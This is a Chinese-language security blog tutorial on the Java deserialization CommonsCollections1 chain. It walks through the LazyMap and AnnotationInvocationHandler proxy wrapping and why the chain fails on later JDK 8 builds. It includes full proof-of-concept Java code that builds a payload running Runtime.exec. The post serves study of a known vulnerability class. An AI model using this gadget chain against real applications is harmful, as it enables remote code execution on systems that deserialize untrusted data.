沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC1其二

0x00 前言


之前在Java反序列化之CC1其一一文之中,我们花了很大的篇幅来讲解Payload的构造,最后由于篇幅的影响,还剩下“利用LazyMap的包装”和“高版本JDK1.8下Payload为何失效”没有讲。

本篇包含以下元素:

  • LazyMap的包装
  • 高版本下JDK1.8下(貌似是 8u71之后 )Payload为何失效 (如何使其有效将在学习了后面的CC链之后补充)

0x01 层层包装


在上一文中,我们已经花了很多功夫来讲ChainedTransformer链的构造,如果看不懂,就只有记了,🤣,毕竟我自己理过一遍之后,也不能保证顺滑的写出来。所以这里关于构造就不再重复讲解了,下一步我们就是应该找到更容易被调用的类来包装ChainedTransformer。思路有两个,一个是TransformedMap,已经讲过,另外一个是LazyMap, 这两个都间接继承了Map,所以更加容易有调用,另外都是可序列化的。

LazyMap

在org/apache/commons/collections/map/LazyMap.java的get函数中,我们可以看到有transform函数的调用:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

所以我们下一步就是这个factory是否可控。看一下LazyMap的构造函数:

protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
}

可控,但是构造函数时protected,不可以直接被外部调用,但是没事,这里有decorate函数,而且参数就是 Transformer类型:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

所以,我们能通过如下的方式,把ChainedTransformer包装成LazyMap,并通过get调用触发:

public class Lazy1 {
    public static void main(String[] args){
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        //create chain
        Transformer transformerChain = new ChainedTransformer(transformers);
        //LazyMap
        HashMap hashMap = new HashMap();
        LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
        //poc
        lazyM.get("foo");
    }
}

AnnotationInvocationHandler

上面虽然包装得不再需要调用transform,并且由于LazyMap实际上间接继承了Map类,在开发者开发的时候,很有可能调用HashMap进行get,进而触发调用链,但是依旧是不太完美,所以我们得找一个重写了readObject的可序列化类来再次包装一下,依然是像第一篇文章中那样选择了sun.reflect.annotation.AnnotationInvocationHandler,在其invoke函数中有调用get方法:

switch(var7) {
    case 0:
        return this.toStringImpl();
    case 1:
        return this.hashCodeImpl();
    case 2:
        return this.type;
    default:
        Object var6 = this.memberValues.get(var4);
        //省略
}

这个invoke是InvocationHandler接口的实现,熟悉Java的人应该就知道,这是用来动态代理的。当对某个对象使用Proxy.newProxyInstance进行动态代理并传入有实现invoke的相应hanlder对象(比如这里的AnnotationInvocationHandler),当调用方法时,就会跳转到这个handler对象的invoke方法。接着我们再来看下这个this.memberValues是否可控并能设置为LazyMap,查看构造函数:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

发现 this.memberValues是等于var2,而var2正是Map类型,所以是完成可控的。只是这个构造函数是默认类型,在外部不能调用,但是我们可以用反射调用来获取,所以问题不大。到这里似乎快结束了,但是我们先不要急,先来看他重写的readObject:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

一个我之前没注意到的事是,所有重写的readObject、writeObject好像都是private属性,之所以能够调用,是因为Stream中会采用反射的方式来调用。

可以看到里面有个Iterator var4 = this.memberValues.entrySet().iterator();,而我们在上面说过,对一个对象动态代理后,当调用方法时,会调用传入的handler的invoke方法,我们这里的this.memberValues是可控的并设置为LazyMap,当调用entrySet()时,如果有动态代理,则会触发invoke。

所以,到这里已经很明显了,就是要把一个AnnotationInvocationHandler对象作为LazyMap动态代理的handler,最后再把代理后的LazyMap再赋值给一个新的Ann…Handler,最后我们可以构造payload如下:

值得注意的是,这里有两个Anno…Handler对象,一个对象的memberValues的值为LazyMap,另一对象的memberValues值是代理后的LazyMap,暂且叫做ProxyLazyM吧,所以不要忘了给两个Anno…Handler对象的memberValues赋值,更不要赋值错了(之所以提一嘴,是因为一个懒狗自己写错了,然后找了好久的问题。

public class Lazy2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class },
                        new Object[] {"calc.exe"})
        };
        //create chain
        Transformer transformerChain = new ChainedTransformer(transformers);
        //LazyMap
        HashMap hashMap = new HashMap();
        LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
        //get AnnotationInvocationHandler
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        //get Proxy handler and the handler's  memberValues need to be lazyM
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, lazyM);
        //set the handler for lazyM
        Map proxyLazyM = (Map) Proxy.newProxyInstance(lazyM.getClass().getClassLoader(), lazyM.getClass().getInterfaces(),handler);
        //set the memberValues to proxyLazyM
        Object payload = ctor.newInstance(Retention.class, proxyLazyM);
    }
}

0x02 高版本JDK1.8下为何失效


其实也没有什么好讲的,是因为重写了Anno…Handler的,省略版的代码如下:

GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);

LinkedHashMap var7 = new LinkedHashMap();

for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
//略

可以看到变化不大,就是原来的var1.defaultReadObject变成了readFields,然后不是直接调用的this.memberValues,而是通过get获取到memberValues。不过依然有entrySet().iterator(),看着好像还是可以成功触发,然而调试就会发现问题。(说不清,道不明,Java基础太差,网上也没找到谁仔细分析一下这点,只说重写了readObject)

LazyMap

调试发现,还是可以进入到invoke中的get处,只是之前的this.memberValues.get()中的memberValues是LazyMap类型,而这里不知道为什么变成了LinkedHashMap。

TransformedMap

对于这条链,因为后面的操作没有进行put或者setValue,所以并不能触发。

讲了和没讲似的,希望有大佬能赐教一下

0x03 参考


因为有了java反序列化之CC1其一的基础,所以本文就在无参考的情况下写了。